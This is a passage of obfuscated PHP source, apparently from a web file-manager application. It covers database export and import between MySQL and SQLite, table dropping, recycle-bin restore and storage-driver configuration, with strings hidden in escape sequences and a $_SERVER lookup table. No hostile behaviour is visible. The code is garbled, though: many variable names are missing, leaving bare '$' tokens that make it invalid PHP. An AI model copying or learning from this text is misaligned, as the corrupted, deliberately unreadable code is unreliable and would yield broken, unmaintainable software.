$GLOBALS[$_SERVER[ׇ][860]] && $٠[$_SERVER[ׇ][823]] != 1) { continue; } } } else { if ($Ɋ[$_SERVER[ׇ][33]] == $_SERVER[ׇ][1150] && $Ɋ[$_SERVER[ׇ][97]] == $_SERVER[ׇ][855]) { continue; } } } if ($搮) { $Ɋ[$_SERVER[ׇ][87]] = "\x7b\x69\157\x3a{$搮}\x7d" . substr($Ɋ[$_SERVER[ׇ][87]], strlen("\173\x69\x6f\x3a{$Ɋ[$_SERVER[ׇ][890]]}\x7d")); $Ɋ[$_SERVER[ׇ][890]] = $搮; } $վ[] = $_SERVER[ׇ][1151] . $this->sqlEncode($Ɋ) . $_SERVER[ׇ][1152]; } $ݔ = "\111\116\123\105\122\124\40\x49\x4e\x54\x4f\40\x60{$ٚ}\x60\40\50\140" . implode($_SERVER[ׇ][1153], $) . $_SERVER[ׇ][1154]; fwrite($Ԛ, $ݔ . implode($_SERVER[ׇ][1155], $վ) . $_SERVER[ׇ][74] . PHP_EOL); $⬅ += $ư; if ($) { $->update($ư); } } while ($͆ == $ư); fclose($Ԛ); return $⬅; } public function sqlToDb($, &$ٯ) { $ =& $_SERVER[ׇ]; $ = $this->model()->db(); $ = @fopen($, $[1156]); if (!$) { return !1; } $ = 0; $層 = $[12]; $ = array(); $ = $this->dbType(); $ = $ == $[13] ? 500 : 2000; $׊Θ = basename($, $[861]); $ = 0; $ӑ = 4194304; while (!feof($)) { $ = trim(fgets($)); if (!$) { continue; } $ = $this->sqlDecode($, $, $׊Θ); if (stripos($, $[431]) === 0) { if (!$層) { $層 = $ . $[53]; } continue; } if ($ٯ) { $ٯ->task[$[1141]] += 1; } $++; $[] = rtrim(rtrim(trim($), $[50]), $[74]); $ = null; $ = strlen($); $ += $; $흈 = strlen($層) + $ + (count($) - 1); if ($흈 >= $ӑ) { $ = array_pop($); if ($ > 1) { $--; } } if ($ >= $ || $) { $ = $層 . implode($[50], $); if (!$->execute($)) { return !1; } if ($ٯ) { $ٯ->update($); } $ = array(); $ = 0; $ = 0; if ($) { $ = array($); $ = 1; $ = $; } } } fclose($); if (!empty($)) { $ = $層 . implode($[50], $); if (!$->execute($)) { return !1; } if ($ٯ) { $ٯ->update($); } } return !0; } public function dropTable($ = null) { $Ά = $this->model()->db(); $Ӗ = $ ? array($) : $Ά->getTables(); if (!$Ӗ) { return; } foreach ($Ӗ as $) { if ($) { $ = strtolower($); } else { continue; } $Ά->execute("\144\x72\157\x70\x20\164\x61\x62\154\x65\40\151\146\40\145\x78\x69\163\164\x73\x20\140{$}\140"); } } private function sqlEncode($冨) { $չ =& $_SERVER[ׇ]; $ֱ = array(); foreach ($冨 as $) { if (is_array($)) { $ = json_encode_force($); } $ = addslashes($); $ = str_replace(array($չ[1157], $չ[262], $չ[418]), array($չ[1158], $չ[1159], $չ[1160]), $); $ֱ[] = $; } return $չ[58] . implode($չ[1161], $ֱ) . $չ[58]; } private function sqlDecode($, $, $˞ = '') { $ɦ =& $_SERVER[ׇ]; $ = str_replace(array($ɦ[1158], $ɦ[1159], $ɦ[1160]), array($ɦ[1157], $ɦ[262], $ɦ[418]), $); if ($ == $ɦ[13]) { $ = str_ireplace($ɦ[1162], $ɦ[59], $); $ = stripslashes($); } return preg_replace($ɦ[1163], $ɦ[12], $); if ($ == $ɦ[13]) { return $˞ != $ɦ[1164] ? stripslashes($) : $; } if ($˞ == $ɦ[1164]) { $ = str_replace($ɦ[1165], $ɦ[121], stripslashes($)); } return $; } public function getSqlFile($ = '') { $ =& $_SERVER[ׇ]; $Ֆʊ = $this->dbType(!0); $ҥҹ = CONTROLLER_DIR . "\x69\156\x73\x74\141\x6c\154\57\144\141\x74\141\57{$Ֆʊ}\x2e\163\x71\154"; $ԬŸ = file_get_contents($ҥҹ); $֟ = $[1166] . ($Ֆʊ == $[877] ? $[1167] : $[1168]) . $[1169]; preg_match_all($֟, $ԬŸ, $); $ = $[1]; $ = $this->model()->db(); $ӟ = $->getTables(); $Ъ = TEMP_FILES . $[1170] . date($[272]) . $[8]; del_dir($Ъ); mk_dir($Ъ); $ = $Ъ . $[1171]; $ܛ = $Ъ . $[1172]; $썲 = $Ֆʊ == $[13] ? $[877] : $[13]; IO::copy(CONTROLLER_DIR . "\x69\x6e\x73\164\141\x6c\154\57\144\x61\x74\x61\x2f{$썲}\x2e\x73\161\x6c", $Ъ); @touch($Ъ . $Ֆʊ . $[861]); $ђ = fopen($, $[1145]); $⠋ = fopen($ܛ, $[1145]); if ($Ֆʊ == $[13]) { $ӟ = array_diff($ӟ, array($[853], $[854])); $ = array($[1173], $[1174], $[1175]); fwrite($⠋, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($ӟ as $) { $ʭ = $this->sqlFromSqlite($); if (!$ʭ[$[13]]) { continue; } fwrite($⠋, $ʭ[$[13]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($ђ, $ʭ[$[877]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ӟ as $) { $ʭ = $this->sqlFromMysql($); if (!$ʭ[$[877]]) { continue; } fwrite($ђ, $ʭ[$[877]] . PHP_EOL . PHP_EOL); if (!in_array($, $)) { fwrite($⠋, $ʭ[$[13]] . PHP_EOL . PHP_EOL); } } } fclose($ђ); fclose($⠋); $ԬŸ = array($[877] => $, $[13] => $ܛ); return $ ? $ԬŸ[$] : $ԬŸ; } public function dbType($ = false) { $ᷳ =& $_SERVER[ׇ]; $ = $ ? $GLOBALS[$ᷳ[6]][$ᷳ[21]] : $this->database; $ = array_change_key_case($); $퐱 = $[$ᷳ[1045]]; if ($퐱 == $ᷳ[1042]) { $ = explode($ᷳ[4], $[$ᷳ[1051]]); $퐱 = $[0]; } $͝ = array($ᷳ[1176] => $ᷳ[13], $ᷳ[990] => $ᷳ[877]); if (isset($͝[$퐱])) { $퐱 = $͝[$퐱]; } return $퐱; } public function sqlFromMysql($, $ = '') { $޻ =& $_SERVER[ׇ]; $Lj = $this->model()->db(); $̚ = $Lj->query($޻[1177] . $ . $޻[461]); if (!$̚ || !$̚[0]) { return !1; } $ = _get($̚[0], $޻[1178], $޻[12]); if (!$) { return !1; } $ = "\x44\x52\117\x50\x20\124\x41\x42\x4c\105\x20\111\106\x20\105\x58\111\123\x54\x53\40\140{$}\x60\x3b" . PHP_EOL . $ . $޻[74]; if ($ && $ == $޻[877]) { return $; } $Ȑ = array_change_key_case($GLOBALS[$޻[6]][$޻[21]]); $ = $Ȑ[$޻[1050]]; $ˆܯ = $޻[1179] . $ . $޻[1180] . $ . $޻[58]; $ = $޻[1181] . $ . $޻[978]; $ = $Lj->query($ˆܯ); if (empty($)) { $ƒ = array($޻[877] => $޻[12], $޻[13] => $޻[12]); return $ ? $ƒ[$] : $ƒ; } $ǜȳ = $Lj->query($); $ = $޻[12]; $弩 = array(); foreach ($ǜȳ as $Ѯ) { if (!$ && $Ѯ[$޻[1182]] == $޻[1183]) { $ = $Ѯ[$޻[1184]]; } if (isset($弩[$Ѯ[$޻[1182]]])) { $弩[$Ѯ[$޻[1182]]][$޻[1185]][] = $Ѯ[$޻[1184]]; continue; } $弩[$Ѯ[$޻[1182]]] = array($޻[1186] => $Ѯ[$޻[1182]], $޻[1185] => array($Ѯ[$޻[1184]]), $޻[1187] => $Ѯ[$޻[1188]] == $޻[91] ? 0 : 1); } $ = array(); foreach ($弩 as $Ѯ) { $懱 = $Ѯ[$޻[1186]] == $޻[1183]; $ʧ鹎 = array($޻[1189], $Ѯ[$޻[1187]] == $޻[91] && !$懱 ? $޻[1190] : $޻[12], $޻[1191], $޻[1192] . $ . $޻[11] . ($懱 ? $޻[1193] : $Ѯ[$޻[1186]]) . $޻[121], $޻[1194], $޻[121] . $ . $޻[121], $޻[1195] . implode($޻[1196], $Ѯ[$޻[1185]]) . $޻[1197]); $[] = implode($޻[53], $ʧ鹎) . $޻[74]; } $⹑ = array(); $ҩ = array($޻[1198] => $޻[1199], $޻[1199] => $޻[1199], $޻[364] => $޻[391], $޻[363] => $޻[391]); foreach ($ as $Ѯ) { $ʧ鹎 = array($޻[121] . $Ѯ[$޻[1200]] . $޻[121], isset($ҩ[$Ѯ[$޻[1201]]]) ? $ҩ[$Ѯ[$޻[1201]]] : $Ѯ[$޻[1202]], $Ѯ[$޻[1203]] == $޻[976] ? $޻[1204] : $޻[1205], $Ѯ[$޻[1200]] == $ ? $޻[1206] : $޻[12], $Ѯ[$޻[1027]] ? strtoupper(str_replace($޻[11], $޻[12], $Ѯ[$޻[1027]])) : $޻[12]); $⹑[] = trim(implode($޻[53], $ʧ鹎)); } $」 = array($޻[1207] . $ . $޻[1208], $޻[1209] . $ . $޻[1210], implode($޻[50] . PHP_EOL, $⹑), $޻[1024]); $ = implode(PHP_EOL, array_merge($」, $)); if ($ && $ == $޻[13]) { return $; } $ƒ = array($޻[877] => $, $޻[13] => $); return $ ? $ƒ[$] : $ƒ; } public function sqlFromSqlite($, $ = '') { $ꀟ́ =& $_SERVER[ׇ]; $Ϟ = $this->model()->db(); $ = "\x50\x52\101\107\x4d\x41\40\124\101\102\114\105\137\x49\x4e\x46\x4f\40\50\x27{$}\47\51"; $д = "\123\x45\114\105\103\124\x20\x2a\40\x46\122\x4f\115\40\x73\161\x6c\x69\164\145\x5f\155\x61\x73\x74\145\x72\x20\x57\x48\105\122\x45\40\164\142\154\x5f\x6e\141\x6d\145\40\75\x20\47{$}\47"; $ = $Ϟ->query($); if (empty($)) { $ = array($ꀟ́[877] => $ꀟ́[12], $ꀟ́[13] => $ꀟ́[12]); return $ ? $[$] : $; } $ = $Ϟ->query($д); $ꢭ = $޹ = array(); foreach ($ as $) { if ($[$ꀟ́[33]] == $ꀟ́[356]) { $ꢭ[] = $[$ꀟ́[1211]]; } else { $޹[$[$ꀟ́[32]]] = $[$ꀟ́[1211]]; } } $ = array_merge(array($ꀟ́[1207] . $ . $ꀟ́[121]), $ꢭ, array_values($޹)); $ = implode($ꀟ́[74] . PHP_EOL, $) . $ꀟ́[74]; if ($ && $ == $ꀟ́[13]) { return $; } $ = array(); $Ҡ = array($ꀟ́[1199] => $ꀟ́[1212], $ꀟ́[391] => $ꀟ́[1213]); $ÙΔ = $ꀟ́[12]; foreach ($ as $) { if ($[$ꀟ́[57]] == $ꀟ́[91]) { $ÙΔ = $[$ꀟ́[32]]; } $ǥ = array($ꀟ́[461] . $[$ꀟ́[32]] . $ꀟ́[461], isset($Ҡ[$[$ꀟ́[33]]]) ? $Ҡ[$[$ꀟ́[33]]] : $[$ꀟ́[33]], $[$ꀟ́[35]] == $ꀟ́[91] ? $ꀟ́[1204] : $ꀟ́[1214] . $[$ꀟ́[56]], $[$ꀟ́[57]] == $ꀟ́[91] ? $ꀟ́[1215] : $ꀟ́[12]); $[] = trim(implode($ꀟ́[53], $ǥ)); } foreach ($޹ as $殌 => $渒־) { $ک = str_replace($ꀟ́[1216] . $ . $ꀟ́[11], $ꀟ́[12], $殌); $꒐ = str_replace(array($ꀟ́[121], $ꀟ́[1035]), $ꀟ́[461], substr($渒־, stripos($渒־, $ꀟ́[337]))); if ($ک == $ꀟ́[1193]) { $吗 = $ꀟ́[1217] . $ÙΔ . $ꀟ́[1218]; } else { $吗 = (stripos($ک, $ꀟ́[11]) ? $ꀟ́[1219] : $ꀟ́[12]) . ($ꀟ́[1220] . $ک . $ꀟ́[1221] . $꒐); } $[] = $吗; } $ = array($ꀟ́[1222] . $ . $ꀟ́[1223], $ꀟ́[1224] . $ . $ꀟ́[1225], implode($ꀟ́[50] . PHP_EOL, $), $ꀟ́[1226]); $ = implode(PHP_EOL, $); if ($ && $ == $ꀟ́[877]) { return $; } $ = array($ꀟ́[877] => $, $ꀟ́[13] => $); return $ ? $[$] : $; } } goto A; F: class SourceRecycleModel extends ModelBase { protected $tableName = "\151\x6f\x5f\163\157\x75\162\x63\x65\137\162\145\143\171\x63\154\x65"; protected $dataAuto = array(array("\x63\x72\145\x61\164\145\124\151\155\145", "\164\x69\x6d\145", "\x69\x6e\x73\145\162\164", "\x66\x75\x6e\x63\x74\x69\157\x6e")); public function listData($ꍿ = false) { $텲 =& $_SERVER[ׇ]; $ꍿ = $ꍿ ? $ꍿ : USER_ID; $䬓 = $this->where(array($텲[1763] => $ꍿ))->select(); return array_to_keyvalue($䬓, $텲[12], $텲[193]); } public function moveToRecycle($) { $˃ =& $_SERVER[ׇ]; $铓 = Model($˃[1420]); $ޑ = $铓->sourceInfo($); if (!$ޑ || $ޑ[$˃[505]] == $˃[91]) { return; } $Ŋ = array($˃[491] => $, $˃[1763] => USER_ID, $˃[648] => $ޑ[$˃[190]], $˃[649] => $ޑ[$˃[569]], $˃[652] => $ޑ[$˃[584]]); $this->add($Ŋ); $this->recycleMove($, 1); if ($ޑ[$˃[485]] == $˃[91]) { $ӳ = array($˃[652] => array($˃[612], $ޑ[$˃[584]] . $ . $˃[613])); $铓->where($ӳ)->setField($˃[505], 1); } } public function clear() { $this->remove(!1); } public function remove($ޒ = false, $Ǭ = false) { $ =& $_SERVER[ׇ]; $Ǭ = $Ǭ ? $Ǭ : USER_ID; $҃ = Model($[1420]); $ח = $this->listData($Ǭ); $ޒ = $ޒ === !1 ? !1 : $ޒ; $ = array(); foreach ($ח as $) { if ($ޒ != !1 && !in_array($, $ޒ)) { continue; } $ = $҃->sourceInfo($); $҃->remove($, !1); $ = $[$[190]] . $[11] . $[$[569]]; $[$] = array($[648] => $[$[190]], $[569] => $[$[569]]); $this->where(array($[193] => $))->delete(); } foreach ($ as $͙) { $҃->targetSpaceUpdate($͙[$[190]], $͙[$[569]]); } } public function restore($ = false) { $ = $this->listData(); $this->_restoreSource($, $); } public function removeUserAll($) { $this->remove(!1, $); } public function restoreItem($Ƈ) { $this->_restoreSource(array($Ƈ), array($Ƈ)); } private function _restoreSource($, $ǡ) { $ޝ =& $_SERVER[ׇ]; $ = Model($ޝ[1420]); $ǡ = $ǡ == !1 ? !1 : $ǡ; if (!$) { return !0; } $̘ = array(); foreach ($ as $х) { if ($ǡ != !1 && !in_array($х, $ǡ)) { continue; } $ = $->sourceInfo($х); $ߚ = $->sourceInfo($[$ޝ[192]]); if ($ߚ[$ޝ[505]] == $ޝ[91]) { continue; } $->lockMoveStart($х); $this->recycleMove($х, 0); if ($[$ޝ[485]] == $ޝ[91]) { $ݖ = array($ޝ[652] => array($ޝ[612], $[$ޝ[584]] . $х . $ޝ[613])); $->where($ݖ)->setField($ޝ[505], 0); $this->restoreFolderChildren($х, $); } $this->where(array($ޝ[193] => $х))->delete(); $->folderSizeReset($[$ޝ[192]]); $̘[] = $[$ޝ[192]]; if ($[$ޝ[485]] == $ޝ[91]) { $̘[] = $х; } $->lockMoveEnd($х); } $->updateModifyTime($̘); } private function restoreFolderChildren($ඏ, $ꩳ) { $܄ =& $_SERVER[ׇ]; $ = Model($܄[1420]); $Ѹ = array($܄[193] => array($܄[7], array())); foreach ($ꩳ as $ޟ) { if ($ޟ == $ඏ) { continue; } if (!$->isParentOf($ඏ, $ޟ)) { continue; } $ = $->sourceInfo($ޟ); if ($[$܄[485]] == $܄[91]) { $Ѹ[] = array($܄[652] => array($܄[612], $[$܄[584]] . $ޟ . $܄[613])); } else { $Ѹ[$܄[193]][1][] = $ޟ; } } if (!$Ѹ[$܄[193]][1]) { unset($Ѹ[$܄[193]]); } if (!$Ѹ) { return; } if (is_array($Ѹ[$܄[193]]) && is_array($Ѹ[$܄[193]][1])) { $Ѹ[$܄[193]][1] = array_unique($Ѹ[$܄[193]][1]); } $Ѹ[$܄[1078]] = $܄[2073]; $->where($Ѹ)->setField($܄[505], 1); } private function recycleMove($꡼, $ = 1) { $ =& $_SERVER[ׇ]; $ = Model($[1420]); $ = Model($[2294]); $ = array($[193] => $꡼); if ($) { $->where($)->setField($[505], 1); $->eventRecycle($꡼, $[2295]); } else { $ℛ = $->where($)->find(); $ = $ℛ[$[485]] == $[91]; $Ŭ = $->fileNameAuto($ℛ[$[192]], $ℛ[$[32]], REPEAT_RENAME_FOLDER, $); if ($Ŭ != $ℛ[$[32]]) { $->rename($꡼, $Ŭ); } $->where($)->setField($[505], 0); $->eventRecycle($꡼, $[2296]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\x79\163\164\145\x6d\56\x73\x6f\x75\162\x63\145\x53\145\x63\162\x65\164\114\151\163\164"; public $field = array("\163\x6f\x75\162\143\145\111\104", "\x74\171\x70\145\x49\104", "\x63\162\x65\x61\x74\145\x55\x73\145\162"); } class StorageModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\145\x6d\x2e\163\164\x6f\x72\x61\x67\x65\114\151\x73\164"; public $field = array("\156\x61\x6d\x65", "\163\x69\x7a\x65\115\141\x78", "\163\171\163\164\x65\x6d", "\x64\145\x66\x61\x75\x6c\164", "\144\162\x69\166\x65\x72", "\x63\x6f\x6e\x66\151\x67"); public function listData($Ҝ = false, $ԗ = "\155\157\144\151\x66\171\x54\151\x6d\x65", $ = false) { $܄ =& $_SERVER[ׇ]; $ڨ = parent::listData($Ҝ, $ԗ, $); if ($Ҝ) { return $ڨ; } $貣 = array(); if ($GLOBALS[$܄[2297]]) { $貣 = $this->ioSizeUseGet(array_to_keyvalue($ڨ, $܄[12], $܄[475])); } foreach ($ڨ as $ => $) { unset($ڨ[$][$܄[6]]); $ڨ[$][$܄[1959]] = isset($貣[$[$܄[475]]]) ? $貣[$[$܄[475]]] : 0; } return $ڨ; } public function ioSizeUseGet($) { $߅ =& $_SERVER[ׇ]; if (!$) { return array(); } $ٴ = $߅[2298] . implode($߅[50], $); $⍇ = Cache::get($ٴ); if ($⍇) { return $⍇; } $դ = array($߅[890] => $߅[475], $߅[2299] => $߅[79]); $ؠ = array($߅[890] => array($߅[7], $)); $⍇ = Model($߅[862])->field($դ)->where($ؠ)->group($߅[890])->select(); $⍇ = array_to_keyvalue($⍇, $߅[475], $߅[79]); Cache::set($ٴ, $⍇, 600); return $⍇; } public function getConfig($) { $ɝӿ = parent::listData($); return json_decode($ɝӿ[$_SERVER[ׇ][6]], !0); } public function update($, $Կ) { $ =& $_SERVER[ׇ]; $ؓ = $Կ[$[32]]; $褍 = array_to_keyvalue(parent::listData(), $[32]); if (isset($褍[$ؓ]) && $褍[$ؓ][$[475]] != $) { return !1; } $this->checkPwd($, $Կ); if (isset($Կ[$[2300]]) && $Կ[$[2300]] == $[91]) { $this->checkConfig($Կ); } unset($Կ[$[2300]]); $ӽ = parent::update($, $Կ); if ($ӽ && $Կ[$[37]]) { $ᜇ = 0; foreach ($褍 as $𰜴) { if ($𰜴[$[37]] && $𰜴[$[475]] != $) { $ᜇ = $𰜴[$[475]]; parent::update($𰜴[$[475]], array($[37] => 0)); } } $this->updateBackup($, $ᜇ); } return $ӽ; } public function add($Ŵ) { $ˊ =& $_SERVER[ׇ]; $у = array_to_keyvalue(parent::listData(), $ˊ[32]); if (isset($у[$Ŵ[$ˊ[32]]])) { return !1; } $this->checkConfig($Ŵ); $ȝރ = parent::insert($Ŵ); if ($ȝރ && $Ŵ[$ˊ[37]]) { foreach ($у as $񄛔܎) { if ($񄛔܎[$ˊ[37]]) { parent::update($񄛔܎[$ˊ[475]], array($ˊ[37] => 0)); } } } return $ȝރ; } public function updateBackup($, $) { $LJ =& $_SERVER[ׇ]; if (!$) { return; } $鹾 = Model($LJ[821])->config(); if ($鹾[$LJ[1742]] != $LJ[91] || $鹾[$LJ[825]] != $) { return; } $Ԣ = Model($LJ[843])->get($LJ[856]); $Ԣ = json_decode($Ԣ, !0); if (!$Ԣ) { return; } $Ԣ[$LJ[825]] = $; Model($LJ[843])->set(array($LJ[856] => $Ԣ)); } public function checkPwd($ы, &$) { $ =& $_SERVER[ׇ]; if (empty($[$[6]])) { return; } $ = json_decode($[$[6]], !0); $ = $[12]; $񻠤 = array($[2301], $[2302], $[967]); foreach ($񻠤 as $) { if (isset($[$])) { $ = $; break; } } if (!$) { return; } $衄 = $this->getConfig($ы); $ = $衄[$]; $ = $[$]; if ($ == str_repeat($[220], strlen($))) { $[$] = $; $[$[6]] = json_encode($); } else { if ($ != $) { $[$[2300]] = $[91]; } } } public function checkConfig(&$, $Ј = false) { $ֳ =& $_SERVER[ׇ]; $ת = strtolower($[$ֳ[98]]); $ѓ = json_decode($[$ֳ[6]], !0); foreach ($ѓ as $˓ => $Ǥ) { if (is_string($Ǥ)) { $ѓ[$˓] = trim($Ǥ); } } $ѓ[$ֳ[2303]] = rand_string(6); $׆ = $GLOBALS[$ֳ[6]][$ֳ[92]][$ֳ[898]]; $¨ = isset($׆[$ת]) ? $׆[$ת] : ucfirst($ת); $ = $ֳ[77] . $¨; if (!$¨ || !class_exists($)) { if ($Ј) { return LNG($ֳ[2304]); } write_log(array($ֳ[2305], $, get_caller_info()), $ֳ[215]); show_json(LNG($ֳ[2304]), !1, $); } $޸ = new $($ѓ); if (in_array($ת, $޸->objectDriver)) { try { if (!$޸->isBucketCors() && !$޸->setBucketCors()) { $Ԣ = LNG($ֳ[2306]); $Ԣ .= $ֳ[2307] . LNG($ֳ[2308]); } } catch (Exception $) { $Ԣ = $->getMessage(); } if (isset($Ԣ)) { return $this->_parseError($Ԣ, $ת, $Ј); } if ($ת == $ֳ[68] && !$޸->checkRegion()) { return $this->_parseError(LNG($ֳ[2309]), $ת, $Ј); } } $Ʊ = rtrim($ѓ[$ֳ[1262]], $ֳ[8]) . $ֳ[8]; $Ӭ = $޸->getPath($Ʊ . $ֳ[1266]); try { if ($ת == $ֳ[109]) { $޸->mkdir($Ʊ); } $ = $޸->mkfile($Ӭ); if (!$) { $Ԣ = LNG($ֳ[2306]); } } catch (Exception $) { $Ԣ = $->getMessage(); } if (isset($Ԣ)) { return $this->_parseError($Ԣ, $ת, $Ј); } $ѓ[$ֳ[1262]] = $Ʊ; $[$ֳ[6]] = json_encode($ѓ); $[$ֳ[98]] = $¨; return !0; } private function _parseError($ȯ, $, $惲 = false) { $ =& $_SERVER[ׇ]; if ($ == $[68] && stripos($ȯ, $[2310])) { $ٹԒ = explode($[10], $ȯ); $ = isset($ٹԒ[1]) ? $ٹԒ[1] : $[12]; $ = array($[2311] => LNG($[2312]), $[2313] => LNG($[2314])); if (isset($[$])) { $ȯ = $[$]; } } if (stripos($ȯ, $[2315]) === 0) { $ = strpos($ȯ, $[178]); if ($ === !1) { $ = strpos($ȯ, $[4]); } if ($ !== !1) { $ȯ = substr($ȯ, $ + 1); } } $ȯ = LNG($[1269]) . $ȯ; if ($惲) { return $ȯ; } show_json($ȯ, !1); } public function driverListSystem() { $ =& $_SERVER[ׇ]; $ = parent::listData(); $˳ = array(); foreach ($ as $ܾվ) { unset($ܾվ[$[231]], $ܾվ[$[88]]); $ܾվ[$[6]] = json_decode($ܾվ[$[6]], !0); $˳[] = $ܾվ; } return $˳; } public function defaultDriver() { $ =& $_SERVER[ׇ]; $Ŋ = parent::listData(); $筳 = array_filter_by_field($Ŋ, $[37], 1); $筳 = $筳[0]; if ($筳) { $筳[$[6]] = json_decode($筳[$[6]], !0); } return $筳; } public function driverInfo($䰄ζ) { $񤠕 =& $_SERVER[ׇ]; $ۿ = array_to_keyvalue(parent::listData(), $񤠕[475]); if (!isset($ۿ[$䰄ζ])) { return !1; } $⢫ = $ۿ[$䰄ζ]; $⢫[$񤠕[6]] = json_decode($⢫[$񤠕[6]], !0); return $⢫; } public function remove($) { $this->removeShareItems($); return parent::remove($); } public function removeWithFile($ꅓ, $ȱ, $ȳ, $ֈ = false) { $Ь =& $_SERVER[ׇ]; $κ = array($Ь[890] => $ꅓ); $ = Model($Ь[544])->where($κ)->count(); $̴ = Model($Ь[544])->where($κ)->sum($Ь[79]); $Şʄ = $ȱ . $Ь[2316] . $ꅓ; $ = LNG($ȱ == $Ь[620] ? $Ь[2317] : $Ь[2318]); $ = new TaskFileTransfer($Şʄ, $Ь[215], $, $ . $Ь[462] . $ȳ[$Ь[32]] . $Ь[214] . $ꅓ); $->task[$Ь[836]] = (double) $̴; $Ř = KodIO::defaultDriver(); $ = $Ř[$Ь[475]]; $ѿ = $򕛙 = $ȶ = array(); $۔ = Model($Ь[230])->where($κ)->field($Ь[2319])->select(); foreach ($۔ as $͎) { $ = $͎[$Ь[541]]; if ($ֈ) { $򕛙[] = $; continue; } $笠ŏ = $͎[$Ь[87]]; $ = get_path_father($笠ŏ); $ȶ[] = $; $ = str_replace("\173\151\157\72{$ꅓ}\x7d\57", "\x7b\151\157\72{$}\175\x2f", $); if (!IO::exist($笠ŏ)) { $ѿ[] = $; $->updateFileEnd($͎[$Ь[32]], $͎[$Ь[79]]); write_log($Ь[2320] . $笠ŏ, $Ь[1902]); continue; } $ꅯ = IO::move($笠ŏ, $, REPEAT_RENAME); if (!$ꅯ) { $򕛙[] = $; $->updateFileEnd($͎[$Ь[32]], $͎[$Ь[79]]); write_log($Ь[2321] . $笠ŏ, $Ь[1902]); continue; } $κ = array($Ь[541] => $); $ޖʲ = array($Ь[890] => $, $Ь[87] => $ꅯ); Model($Ь[230])->where($κ)->save($ޖʲ); } $ = $->task; if (!$ֈ) { Cache::set($Şʄ, $); } $->end(); $ѿ = array_unique($ѿ); $򕛙 = array_unique($򕛙); if (!$ֈ && ($ѿ || $򕛙)) { $ = array(); if ($ѿ) { $[] = sprintf(LNG($Ь[2322]), count($ѿ)); } if ($򕛙) { $[] = sprintf(LNG($Ь[2323]), count($򕛙)); } $ = sprintf(LNG($Ь[2324]), implode($Ь[2325], $)) . $Ь[2326] . date($Ь[2327]) . $Ь[2328]; if ($ȱ == $Ь[1939]) { $ .= $Ь[2329] . LNG($Ь[2330]); } $[$Ь[1264]] = $; Cache::set($Şʄ, $); unset($ȳ[$Ь[6]]); $ = array($Ь[475] => $ꅓ, $Ь[2209] => $Ь[620], $Ь[32] => $ȳ[$Ь[32]], $Ь[1287] => $ȳ); Hook::trigger($Ь[1783], array($Ь[1287] => $, $Ь[1297] => !0)); show_json($, !1, 100111); } if ($ȱ == $Ь[620]) { return !0; } if ($ѿ || $򕛙) { $ = array_merge($ѿ, $򕛙); $ = array_filter(array_unique($)); $this->removeByFileID($); } if ($ȶ) { $ȶ = array_filter(array_unique($ȶ)); foreach ($ȶ as $笠ŏ) { $멺 = IO::has($笠ŏ, !0); if (!$멺[$Ь[239]] && !$멺[$Ь[240]]) { IO::remove($笠ŏ); } } } return $this->remove($ꅓ); } private function removeByFileID($ = array()) { $ =& $_SERVER[ׇ]; if (empty($)) { return; } $ = array($[541] => array($[7], $)); $贄 = Model($[1420])->where($)->field($[193])->select(); if (!$贄) { return Model($[544])->remove($); } $贄 = array_to_keyvalue($贄, $[12], $[193]); foreach ($贄 as $) { Model($[897])->removeNow($, !1); } } private function removeShareItems($ˉ) { $ =& $_SERVER[ׇ]; $Ј = "\173\x69\157\72{$ˉ}\175\57"; $ё = array($[193] => 0, $[1257] => array($[459], "{$Ј}\45")); $à = Model($[1950])->where($ё)->field($[665])->select(); if (empty($Ã)) { return; } $§ = array_to_keyvalue($Ã, $[12], $[665]); Model($[664])->remove($§); } } goto f֚ƍı; f݋ܦ: class Controller extends ClassBaseCall { public $in; public $config; public $tpl; public $values; function __construct() { $궱 =& $_SERVER[ׇ]; global $in, $config; $this->config =& $config; $this->in =& $in; $this->values[$궱[6]] =& $config; $this->values[$궱[7]] =& $in; $this->tpl = TEMPLATE . MOD . $궱[8]; $this->_classObjectID = mt_rand(0, 10000); } public function loadClass($ۋ) { if (1 === func_num_args()) { $this->{$ۋ} = new $ۋ(); } else { $ = new ReflectionClass($ۋ); $Ӻ = func_get_args(); array_shift($Ӻ); $this->{$ۋ} = $->newInstanceArgs($Ӻ); } return $this->{$ۋ}; } public function routeBind($, $ͦ, $ = 3) { $ߦ =& $_SERVER[ׇ]; $С = $this->in[$ߦ[9]]; $ = str_replace($ߦ[10], $ߦ[11], trim(trim($, $ߦ[8]), $ߦ[12])); if (!$ || count($С) <= $) { return !1; } $Ν = !0; $Ȱ = explode($ߦ[8], $); for ($ފ = 0; $ފ < count($Ȱ); $ފ++) { if ($Ȱ[$ފ] != $С[$ + $ފ]) { $Ν = !1; break; } } if (!$Ν) { return; } call_user_func_array(array($this, $ͦ), array()); } public function routeArgs($ = 3) { $镰 = $this->in[$_SERVER[ׇ][9]]; if (count($镰) <= $) { return array(); } $ҡ = array(); for ($󲦰 = $; $󲦰 < count($镰); $󲦰 += 2) { $ҡ[$镰[$󲦰]] = $镰[$󲦰 + 1]; $this->in[$镰[$󲦰]] = $镰[$󲦰 + 1]; } return $ҡ; } protected function assign($గ, $Ȓɳ) { $this->values[$గ] = $Ȓɳ; } protected function display($ӆ) { ob_end_clean(); extract($this->values); require $this->tpl . $ӆ; } } class DbSqliteBase extends Db { public function __construct($џ = '') { $ =& $_SERVER[ׇ]; if (!extension_loaded($[13])) { think_exception(think_lang($[14]) . $[15]); } if (!empty($џ)) { if (!isset($џ[$[16]])) { $џ[$[16]] = 438; } $this->config = $џ; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ = 0) { $ޛ =& $_SERVER[ׇ]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ʷ = !empty($[$ޛ[17]][$ޛ[18]]) ? $[$ޛ[17]][$ޛ[18]] : $this->pconnect; $։ = $ʷ ? $ޛ[19] : $ޛ[20]; $this->linkID[$] = $։($[$ޛ[21]], $[$ޛ[16]]); if (!$this->linkID[$]) { think_exception(sqlite_error_string()); } $this->connected = !0; @sqlite_busy_timeout($this->linkID[$], 30000); if (1 != think_config($ޛ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID = null; } public function query($֖К) { $ =& $_SERVER[ׇ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = 